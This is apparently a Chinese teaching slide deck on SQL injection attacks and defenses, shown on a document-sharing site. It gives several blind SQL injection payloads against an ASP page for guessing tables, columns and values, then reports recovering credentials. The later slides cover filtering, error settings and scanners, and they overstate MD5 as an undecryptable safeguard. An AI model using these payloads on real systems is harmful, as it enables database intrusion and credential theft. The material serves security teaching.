原创力文档- 1、本文档共13页，可阅读全部内容。
- 2、原创力文档（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。
- 3、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。
- 5、该文档为VIP文档，如果想要下载，成为VIP会员后，下载免费。
- 6、成为VIP后，下载本文档将扣除1次下载权益。下载后，不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后，您将拥有八大权益，权益包括：VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传，每下载1次， 网站将根据用户上传文档的质量评分、类型等，对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
教学课件医学学院应用教学课件
基于web服务器SQL的入侵与防护;CONTENTS;web服务器SQL注入;搜寻网站SQL注入点
尝试几个有传入参数的页面，逐个测试是否有SQL注入漏洞，识别方法为：把网址栏的ID=***加个号“’”，如果提示表达式错误，表示有漏洞可注入，另外，通过这个方式可以得到程序所用的数据库类型。
点击北京链接会发现地址栏中出现了变量，直接在后面加入“’”返回错误，初步判断有注入漏洞。
;;破解的流程如下：判断数据库表名—?判断数据库列名—判断列名字段个数—字段猜解
下面沾出实验的五个语句，然后慢慢带着大家破解
测试数据库中字段长度：
/index.asp?city=bjand (select top 1 len(tel)from info)10and1=1
猜测数据库中表
?and?exists?(select?*?from?admin)?and?1=1
;猜测数据库中字段子列
?and?exists?(select?admin?from?info)?and?1=1
利用二分法猜测数据库中的信息条数
?and?(select?Count(1)?from?[info]?where?1=1)?between?0?and?100?and?1=1
猜测数据库中值得代码
/index.asp?city=bjand (select top 1 asc(mid(city,1,1))from info)97and1=1
;综合上述分析我们得到用户名username：huang
同理我们得到密码 password；fu
用所得到的用户名和密码登陆
;登陆结果截图如下 ;web服务器SQL漏洞防护 ;基础过滤与二次过滤：主要就是使用代码可以过滤ID参数中的“；”，“，”和“insert”字符，如果在ID参数中包含有这几个字符，则会返回错误页面
使用SQL通用防注入程序进行过滤：通过手工的方法对特殊字符进行过滤难免会留下过滤不严的漏洞。而使用“SQL通用防注入程序”可以全面地对程序进行过滤，从而很好的阻止SQL脚本注入漏洞的产生。从网上下载“SQL通用防注入程序V3.0”存放在自己网站所在的文件夹中，需要进行简单设置就可以轻松帮助程序员防御SQL注入
;设置错误提示信息：SQL注入主要依据是IIS给出的ASP错误信息，所以配置IIS和数据库用户权限，可以阻止SQL注入攻击。
使用专业的漏洞扫描工具：企业应当投资于一些专业漏洞的扫描工具，如Acunetix的web漏洞扫描程序等。一个完善的???洞扫描程序可以查找网站上的SQL注入式漏洞；而程序员应当使用漏洞扫描工具和站点监视工具对网站进行测试。
对重要数据进行加密：采用加密技术对一些重要的数据进行加密，比如用MD5加密，MD5没有反向算法，也不能解密，就可以防范对网站的危害了。
文档评论（0）